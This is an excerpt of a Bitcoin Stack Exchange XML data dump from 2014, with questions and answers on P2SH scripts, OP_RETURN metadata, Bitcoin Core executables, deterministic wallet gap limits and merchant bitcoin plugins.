  <row Id="32041" PostTypeId="2" ParentId="8032" CreationDate="2014-10-20T05:02:22.603" Score="1" Body="&lt;p&gt;I went with drupal commerce as it gave me the flexibility I needed. I'm able to add in logic via the gui using the drupal rules module. Currently I have it setup where all international orders must pay in bitcoin and if an order is above $300 they have to pay in btc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/project/commerce_bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://www.drupal.org/project/commerce_bitcoin&lt;/a&gt; - This is if you want to link it with your own bitcoin daemon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/project/bitpay&quot; rel=&quot;nofollow&quot;&gt;https://www.drupal.org/project/bitpay&lt;/a&gt; - I used this one as Bitpay has a easy setup.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-10-20T05:02:22.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32042" PostTypeId="2" ParentId="32037" CreationDate="2014-10-20T06:49:54.453" Score="2" Body="&lt;p&gt;As mentioned in the comments, I can certainly see the benefit of using the immutable recording function of the blockchain to identify and record parameters, in this case MAC (media access control) addresses, which are unique to each device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a few challenges which will need to be overcome:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;having a device's MAC details would be fantastic for tracking ownership, for example, in the case of stolen goods. However, anyone with even IT basic knowledge knows it's trivial to &lt;a href=&quot;http://www.wikihow.com/Change-a-Computer&amp;#39;s-Mac-Address-in-Windows&quot; rel=&quot;nofollow&quot;&gt;change a MAC address&lt;/a&gt;; so whilst the blockchain is immutable the data (ie MAC) addresses is not&lt;/li&gt;&#xA;&lt;li&gt;privacy concerns also arise. Without going in to too much detail, it's problematic to say the least to be sharing one's identifying information on a public ledger if one had less malicious intentions (eg identification of MAC address for a stolen iPad, which could then be used to match up with &lt;a href=&quot;https://en.wikipedia.org/wiki/Phishing#Social_responses&quot; rel=&quot;nofollow&quot;&gt;social phishing&lt;/a&gt; (social engineering) with Apple Tech Support to match an owner's name with the stolen device)&lt;/li&gt;&#xA;&lt;li&gt;The MAC address (or similar identifying number) should be encrypted, ideally. Homomorphic encryption allows for manipulation of data without decrypting it, and will be of great use for secure cloud based access. That being said, we're still a long way off meaningful use cases of &lt;a href=&quot;http://en.wikipedia.org/wiki/Homomorphic_encryption&quot; rel=&quot;nofollow&quot;&gt;homomorphic encryption&lt;/a&gt; in conjunction with blockchain ledgers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-20T06:49:54.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32043" PostTypeId="1" AcceptedAnswerId="32055" CreationDate="2014-10-20T07:05:46.367" Score="0" ViewCount="96" Body="&lt;p&gt;Is it possible for corporate interests to incentivize securing POW of alternate blockchains instead of Bitcoin's blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the large amount of funding and/or &quot;partnerships&quot; announced the last month or so where established companies like &lt;a href=&quot;http://www.coindesk.com/paypal-bitcoin-integration-will-help-study-buyer-behavior/&quot; rel=&quot;nofollow&quot;&gt;Paypal&lt;/a&gt; and &lt;a href=&quot;http://cointelegraph.com/news/112693/sweden-based-klarna-set-to-test-bitcoin-integration-to-rival-paypal-in-the-us-and-europe&quot; rel=&quot;nofollow&quot;&gt;Klarna&lt;/a&gt; are &lt;a href=&quot;http://www.futuresmag.com/2014/10/06/paypal-deal-highlights-increasing-payments-industr&quot; rel=&quot;nofollow&quot;&gt;getting into bed with Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this because companies like Blockchain.info are getting &lt;a href=&quot;http://www.coindesk.com/blockchain-grow-further-closing-30-5-million-funding-round/&quot; rel=&quot;nofollow&quot;&gt;significant &quot;Blockchain development&quot; funding&lt;/a&gt; and it would appear this is an investment in the blockchain itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain president Peter Smith said:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“The company has grown exponentially in every way over the last 18 months. We are honoured to add investors and partners to the team with deep expertise in &#xA;  financial services and consumer technology.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also from Scott Ellison (PayPal senior director of corporate strategy):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“We’re proceeding gradually, supporting bitcoin in some ways today and holding off on other ways until we see how things develop.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it plausible/possible for corporate interests to divert miners/investors from Bitcoin's blockchain to another blockchain with better rates of return (perhaps just initially) on investment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT discussion on this &lt;a href=&quot;http://www.reddit.com/r/BitcoinSerious/comments/2h48yt/is_mining_based_on_proof_of_work_sustainable_for/cktnan0&quot; rel=&quot;nofollow&quot;&gt;over at /r/bitcoinserious&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-10-21T00:27:39.977" LastActivityDate="2014-10-21T01:47:55.017" Title="Is it possible for corporate interests to incentivize securing alternate Blockchains instead of Bitcoin's Blockchain?" Tags="|blockchain|alternatives|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32046" PostTypeId="1" CreationDate="2014-10-20T16:01:11.897" Score="3" ViewCount="91" Body="&lt;p&gt;I am confused, totally new to Bitcoin and not really a digital expert, so forgive me if the following is stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded Armory two weeks ago and it asked me to also install Bitcoin QT which I did. I then created a wallet on Armory. I bought a small amount of BTC on bitcoin.de. As I wanted to transfer it to my Armory wallet, I clicked on &quot;Receive Bitcoins&quot;. It showed a message asking me to not receive Bitcoins before I hadn't gotten online with Armory at least once. I continued anyway (Armory hadn't gotten online until then), Armory gave me a receiving adress which I used as payment adress for bitcoin.de. Now the BTCs &quot;have left&quot; my account on bitcoin.de. &#xA;Right now, I have managed to get online with Armory hoping to see the BTC in my wallet but it is &quot;empty&quot;. At the moment, Armory is building connection with the network and tells me it has to download the entire ledger which will take days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I already did the entire ledger synchronization with Bitcoin QT and it took several days. Do I have to do the entire waiting again with Armory just so that I can start using my Armory-generated wallet or is there a way around it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I access my Armory-generated wallet only with the Armory client or is there a way to use Bitcoin QT to access it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20766" LastActivityDate="2014-10-20T16:01:11.897" Title="Bitcoin Core and Armory working together?" Tags="|wallet|bitcoin-core|synchronization|armory|" AnswerCount="0" CommentCount="4" ClosedDate="2014-11-22T17:54:44.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="32047" PostTypeId="1" AcceptedAnswerId="32050" CreationDate="2014-10-20T19:11:58.520" Score="7" ViewCount="711" Body="&lt;p&gt;In a standard P2PKH configuration, the scripts look like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pubkey script: OP_DUP OP_HASH160 &amp;lt;PubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;Signature script: &amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When redeeming P2PKH outputs, OP_DUP is done because the pubkey is used twice, once in the hash and then verifying the hashes match, and then again in verifying the signature. So, here it seems like OP_HASH160 is consuming the top stack element and replacing it with the HASH160() of what was there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In P2SH transactions, the scripts look like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pubkey script: OP_HASH160 &amp;lt;Hash160(redeemScript)&amp;gt; OP_EQUAL&#xA;Signature script: &amp;lt;sig&amp;gt; [sig] [sig...] &amp;lt;redeemScript&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When redeeming P2SH outputs, there is no OP_DUP. Won't this mean that the redeemScript will be consumed by the OP_HASH160? How can the redeemScript be executed if it was consumed by the OP_HASH160? I think I am missing something here.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2017-01-06T23:54:53.563" Title="Does OP_HASH160 consume the top stack element?" Tags="|script|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32048" PostTypeId="1" AcceptedAnswerId="32051" CreationDate="2014-10-20T20:01:15.787" Score="13" ViewCount="8462" Body="&lt;p&gt;I just pulled from the bitcoin github and compiled, and noticed that there were three executable generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli  bitcoin-tx   bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not heard of bitcoin-tx before, what is it? What are the main similarities/differences between these three executables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I would be interested to find out if there are any plans to further develop these into different, complementary, executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2022-01-10T11:13:56.253" Title="Difference between bitcoin-tx, bitcoin-cli, and bitcoind?" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32049" PostTypeId="1" CreationDate="2014-10-20T21:29:43.350" Score="4" ViewCount="8854" Body="&lt;p&gt;Does blockchain.info provide wallets and API service for testnet? This information is quite hard to find from their site.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2020-05-09T04:07:03.003" Title="BlockChain.info testnet wallet and API" Tags="|api|blockchain.info|testnet|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32050" PostTypeId="2" ParentId="32047" CreationDate="2014-10-20T21:30:35.763" Score="6" Body="&lt;p&gt;Yes, OP_HASH160 consumes the top stack element and replaces it with its hash.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So how does P2SH work, if the script is consumed after HASH160 runs?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's how P2SH transactions are processed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Execute the input script (from this transaction)&lt;br&gt;&#xA;This is the transaction that only contains push-data-onto-stack commands.&lt;br&gt;&#xA;AKA scriptSig&lt;/li&gt;&#xA;&lt;li&gt;Execute the output script (from the previous transaction)&lt;br&gt;&#xA;AKA scriptPubKey&lt;/li&gt;&#xA;&lt;li&gt;Does the output script error out? If so, this transaction's invalid.&lt;/li&gt;&#xA;&lt;li&gt;Does the output script end with a truthy value at the top of the stack? If not, this transaction's invalid.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does this output script :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with OP_HASH160,&lt;/li&gt;&#xA;&lt;li&gt;have 20 bytes of data,&lt;/li&gt;&#xA;&lt;li&gt;and end with OP_EQUAL?  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If so, this is P2SH. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/69dd8c919aa3a1b88af34265f828fe0a58a55014/src/script/script.cpp#L203&quot; rel=&quot;nofollow noreferrer&quot;&gt;(source)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;If P2SH, erase the stack and run the input script again.&lt;/li&gt;&#xA;&lt;li&gt;If P2SH, pop the top element of the stack off, and run it as a script. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/bf7b4fc6d3bdfd9283a633da7833a5ec6fa3cd85/src/script/interpreter.cpp#L996&quot; rel=&quot;nofollow noreferrer&quot;&gt;(source)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If &lt;em&gt;that&lt;/em&gt; script errors out, then this transactions is invalid.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-01-06T23:54:53.563" LastActivityDate="2017-01-06T23:54:53.563" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32051" PostTypeId="2" ParentId="32048" CreationDate="2014-10-20T21:53:59.363" Score="17" Body="&lt;h3&gt;bitcoind&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The server version of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;bitcoin-cli&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a program that lets you issue commands to &lt;code&gt;bitcoind&lt;/code&gt;. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ./bitcoin-cli getblockcount&#xA;326215&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;bitcoin-tx&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a program that can create, parse, or modify transactions. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ./bitcoin-tx -json  &#xA;{&#xA;    &quot;txid&quot;: &quot;8731eaae4520609d4ada30e23ee0f275b9dd62b72456a26dc0f137ae9fddd9b3&quot;,&#xA;    &quot;version&quot;: 1,&#xA;    &quot;locktime&quot;: 0,&#xA;    &quot;vin&quot;: [&#xA;        {&#xA;            &quot;txid&quot;: &quot;3ac43b2fb5c31bde565a7a3ef1b53173246fb650d968da822d8d3f5d45907fee&quot;,&#xA;            &quot;vout&quot;: 641,&#xA;            &quot;scriptSig&quot;: {&#xA;                &quot;asm&quot;: &quot;3046022100a643127f3abb6d8a4d082bd66b9585a4e91a1e10bfce3ac749212b562f4a80560221008d68511acac655ce3df1dbda6a97cd74516ce2595a40e2e89a5168ba05be4c0601 047723d175cc78e974ea686a67d44fbed02c81c9c4c9639a4f452e43354ec1baf53777ea0b4483d7a4022cd0ab20bd18b5ec07be9bde19d20e289c0211c066f7bf&quot;,&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In addition, I would be interested to find out if there are any plans to further develop these into different, complementary, executables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, there's no plan to change the scope of the programs. The most recent change was back in July 2014, which created &lt;code&gt;bitcoin-cli&lt;/code&gt;, and removed that functionality from &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-20T22:35:48.190" LastActivityDate="2014-10-20T22:35:48.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32052" PostTypeId="2" ParentId="29629" CreationDate="2014-10-20T23:04:26.823" Score="1" Body="&lt;p&gt;I think your worry is that the hacker will change the public key in the database to be the public key for one of their addresses, and get access to the private key that you own, which means they will have the ability to make 2/3 signatures, which is all that they need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will only be a risk if you can't detect it and alert those who are funding the addresses to stop. As Matthieu said, the signatures on the old multisig address won't be valid anymore. If your service is queried for an address to send coins to, however, and it returns the new maliciously created address, then your users might be funding an address which can be spent by the hacker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I think your best bet would be to make sure that you can put your service into safe-mode if someone has hacked in.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-20T23:04:26.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32053" PostTypeId="2" ParentId="31989" CreationDate="2014-10-20T23:32:06.220" Score="9" Body="&lt;h3&gt;How do I add metadata to the blockchain?&lt;/h3&gt;&#xA;&lt;p&gt;Essentially, one of the output &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;scripts&lt;/a&gt; should be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;OP_RETURN &amp;lt;the data you want to add&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;&lt;p&gt;Let me give an example. Say you want to add the string &amp;quot;Melons.&amp;quot; to the blockchain.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert to binary&lt;br /&gt;&#xA;&amp;quot;Melons.&amp;quot; -&amp;gt; &lt;code&gt;4d656c6f6e732e&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the push-data-onto-stack command at the start. This is the length of your metadata if it's less than 75 bytes, or OP_PUSHDATAx otherwise.&lt;br /&gt;&#xA;&lt;code&gt;074d656c6f6e732e&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add OP_RETURN at the start&lt;br /&gt;&#xA;&lt;code&gt;6a074d656c6f6e732e&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Put this in the scriptPubKey of an output of a transaction. I wrote a guide on this &lt;a href=&quot;https://bitcoin.stackexchange.com/a/36439/2306&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;How do I find it again?&lt;/h3&gt;&#xA;&lt;p&gt;That's... trickier. Bitcoin is not optimized for searching the metadata of transactions.&lt;/p&gt;&#xA;&lt;p&gt;Possibilities:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Look through all of the transactions you get with something like &lt;code&gt;bitcointools&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use a website like &lt;a href=&quot;http://coinsecrets.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinsecrets.org&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-02-07T17:41:00.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32055" PostTypeId="2" ParentId="32043" CreationDate="2014-10-21T01:47:55.017" Score="1" Body="&lt;p&gt;I am struggling to understand the motivation for this question, but I'll take a guess. From the Reddit post you linked, it seems like you're wondering if alternative ways of securing the blockchain will be adopted by companies who have an interest in keeping costs low? I'm not sure exactly what costs you mean here, maybe costs associated with securing the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who really knows? It's possible, but any answer is really just a best guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long(er) Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to be noted is that it's not actually companies who build tech around bitcoin that have an incentive to keep blockchain securing costs low. Companies building technology around Bitcoin (and other coins) work almost exactly the same depending on whether the system is secured with PoW/PoS/other, assuming the system meets some base security level. Rather, it's the miners who have an interest in keeping costs low, and fees high. I don't think that mining companies are being invested in as much as companies that are building tech around the bitcoin blockchain. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Is it plausible/possible for corporate interests to divert miners/investors from Bitcoin's blockchain to another blockchain with better rates of return (perhaps just initially) on investment?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What kind of rates of return are you looking for here? If you mean rates of return while mining, then see above paragraph. If you mean rates of return for just using the cryptocurrency, then you probably won't be seeing one that is better than bitcoin any time soon, partially because of bitcoins' spreading adoptance and partially because it is a deflationary currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If by rate of return, you essentially mean least costly to transact, then you are talking about the fee structure in bitcoin. One of the problems with bitcoin's current fee system (in the long term) is that the people making the transactions are the only ones paying fees. Or rather, those who are just storing bitcoins are still benefitting from the security while not paying for that security. Inflationary currencies differ in that those who store it pay for the security, in a sense, by the money they have losing value over time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coding in a slight inflationary factor might make a currency more appealing to transact with. PoS coins have inflationary factors (as do some PoW coins, &lt;a href=&quot;http://www.ziftrcoin.com&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; for example), and from this perspective, I could see companies preferring to store value in Bitcoin but transact in a different currency which has some inflation. So, I could possibly see some companies wanting to invest in other currencies that are cheaper to transact in.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-21T01:47:55.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32056" PostTypeId="1" CreationDate="2014-10-21T01:59:14.490" Score="0" ViewCount="333" Body="&lt;p&gt;I am running OS X Yosemite. I cloned the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;bitcoin repo&lt;/a&gt; and checkout-ed the v0.9.3 tag to get the most recent stable version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I followed the steps described &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to compile the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It compiled for a long time, and then ended with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clang: error: linker command failed with exit code 1 (use -v to see invocation)&#xA;make[4]: *** [test_bitcoin] Error 1&#xA;make[3]: *** [all] Error 2&#xA;make[2]: *** [all-recursive] Error 1&#xA;make[1]: *** [all] Error 2&#xA;make: *** [all-recursive] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this error before? Why was it caused? What can I do to fix it?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2020-01-01T23:20:59.717" LastActivityDate="2020-01-01T23:20:59.717" Title="Error Compiling Bitcoin Core on OS X" Tags="|mac|compiling|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32058" PostTypeId="1" CreationDate="2014-10-21T03:08:59.440" Score="10" ViewCount="1220" Body="&lt;p&gt;Say I backup the &quot;seed/key&quot; for a deterministic wallet. I then create 10,000 transactions, resulting in 10,000 new addresses being generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I then lose the wallet file and I restore from the &quot;seed/key&quot;. How does the deterministic wallet know it has to generate 10,000 addresses to get the full balance?&lt;/p&gt;&#xA;" OwnerUserId="20770" LastActivityDate="2014-10-21T05:02:05.517" Title="How do deterministic wallets know how many keys to generate?" Tags="|deterministic-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32059" PostTypeId="2" ParentId="4858" CreationDate="2014-10-21T04:53:52.790" Score="2" Body="&lt;p&gt;A company that provides Bitcoin-related services would probably be more willing to pay you in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin is quite new, many of the companies specializing in it are &lt;em&gt;startups&lt;/em&gt;.&#xA;One good resource for finding out who they are is &lt;a href=&quot;http://angel.co&quot; rel=&quot;nofollow&quot;&gt;AngelList&lt;/a&gt;, a platform for startups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, use a &lt;a href=&quot;https://angel.co/companies?keywords=bitcoin&quot; rel=&quot;nofollow&quot;&gt;a keyword search&lt;/a&gt; to find companies, or &lt;a href=&quot;https://angel.co/jobs&quot; rel=&quot;nofollow&quot;&gt;a job search&lt;/a&gt; with bitcoin as a keyword to to see who is hiring.&lt;/p&gt;&#xA;" OwnerDisplayName="user13307" LastEditorUserId="2306" LastEditDate="2014-10-21T05:12:52.130" LastActivityDate="2014-10-21T05:12:52.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32060" PostTypeId="2" ParentId="32058" CreationDate="2014-10-21T04:54:26.330" Score="9" Body="&lt;p&gt;You've hit upon an important issue, and one that there isn't a perfect solution to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your thin client (most clients that use deterministic wallets are thin clients, but not all) goes through the following process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate an address.&lt;/li&gt;&#xA;&lt;li&gt;Look at the blockchain, and see if it has a balance.&lt;/li&gt;&#xA;&lt;li&gt;Repeat with next address, unless the addresses we've checked have had a balance of zero for a long time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The number of empty addresses you're willing to check before giving up is called the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4247/what-is-the-gap-limit-in-electrum&quot;&gt;gap limit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gap limit can't be too low, or there's a possibility that someone will backup from a wallet seed and not see all of their money. (If this happens to you, increase the gap limit and try again.) It also can't be too high, or you'll waste resources on the servers handling Electrum queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your suggested scenario is actually the easiest to solve, because if each of those addresses has a transaction associated with it in the blockchain, the client knows that it showed that address to you at some point, and will keep searching.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-10-21T05:02:05.517" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32061" PostTypeId="2" ParentId="32018" CreationDate="2014-10-21T19:18:01.617" Score="1" Body="&lt;h3&gt;Any transaction&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b88cb1a96eb670ca1f36cdc3fa908a23bffa18c5/src/main.cpp#L879&quot; rel=&quot;nofollow&quot;&gt;main.cpp, AcceptToMemoryPool&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool AcceptToMemoryPool(CTxMemPool&amp;amp; pool, CValidationState &amp;amp;state, const CTransaction &amp;amp;tx, bool fLimitFree,&#xA;                        bool* pfMissingInputs, bool fRejectInsaneFee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;A transaction that pays to or from you&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/d7e195048342afae9168377cebfc22ab000728a5/src/wallet.cpp#L550&quot; rel=&quot;nofollow&quot;&gt;wallet.cpp, CWallet::AddToWallet&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool CWallet::AddToWallet(const CWalletTx&amp;amp; wtxIn, bool fFromLoadWallet)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-22T02:13:07.417" LastActivityDate="2014-10-22T02:13:07.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32063" PostTypeId="2" ParentId="30834" CreationDate="2014-10-22T01:11:08.090" Score="10" Body="&lt;p&gt;Here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var bitcoin = require('bitcoinjs-lib')&#xA;&#xA;data = new Buffer(&quot;Melons.&quot;)&#xA;&#xA;var tx = new bitcoin.TransactionBuilder()&#xA;tx.addInput(&quot;aa94ab02c182214f090e99a0d57021caffd0f195a81c24602b1028b130b63e31&quot;, 0)&#xA;tx.addOutput(&quot;some address&quot;, 15000)&#xA;ret = bitcoin.script.compile(&#xA;  [&#xA;    bitcoin.opcodes.OP_RETURN,&#xA;    data&#xA;  ])&#xA;tx.addOutput(ret, 0)&#xA;key = bitcoin.ECPair.fromWIF(&quot;L1uyy5qTuGrVXrmrsvHWHgVzW9kKdrp27wBC7Vs6nZDTF2BRUVwy&quot;)&#xA;tx.sign(0, key)&#xA;console.log(tx.build().toHex())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you have more than 40 bytes of data, your transaction will be non-standard.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-07-31T06:48:41.263" LastActivityDate="2017-07-31T06:48:41.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32064" PostTypeId="2" ParentId="30577" CreationDate="2014-10-22T01:17:46.170" Score="1" Body="&lt;p&gt;Bitcoin-Abe can do this, and I wrote a guide on installing it &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5518/how-do-i-access-information-on-blockexplorer-com-or-blockchain-info-without-issu/5519#5519&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have it installed, issue a &lt;code&gt;getrecievedbyaddress&lt;/code&gt; request.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-10-22T01:17:46.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
